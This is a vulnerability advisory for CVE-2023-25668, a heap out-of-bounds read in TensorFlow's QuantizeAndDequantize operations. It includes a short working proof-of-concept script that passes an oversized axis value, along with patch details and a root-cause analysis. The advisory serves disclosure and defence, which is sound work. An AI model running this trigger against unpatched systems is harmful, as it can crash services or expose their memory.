CVE-2023-25668

CVE-2023-25668: TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation

Impact

Attackers using Tensorflow can exploit the vulnerability. They can access heap memory which is not in the control of user, leading to a crash or RCE. When axis is larger than the dim of input, c->Dim(input,axis) goes out of bound. Same problem occurs in the QuantizeAndDequantizeV2/V3/V4/V4Grad operations too.

import tensorflow as tf
@tf.function
def test():
    tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],
    								   input_min=[1.0],
    								   input_max=[10.0],
    								   signed_input=True,
    								   num_bits=1,
    								   range_given=True,
    								   round_mode='HALF_TO_EVEN',
    								   narrow_range=True,
    								   axis=0x7fffffff)
test()

Patches

We have patched the issue in GitHub commit 7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb.

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

Root Cause Analysis

The vulnerability stems from missing axis validation in shape inference functions for QuantizeAndDequantizeV2/V3/V4/V4Grad operations. The commit diff shows added checks for axis >= kint32max in array_ops.cc, confirming these were the vulnerable points. All four operations used c->Dim(input,axis) without proper bounds checking, enabling heap OOB read when given a large axis value.
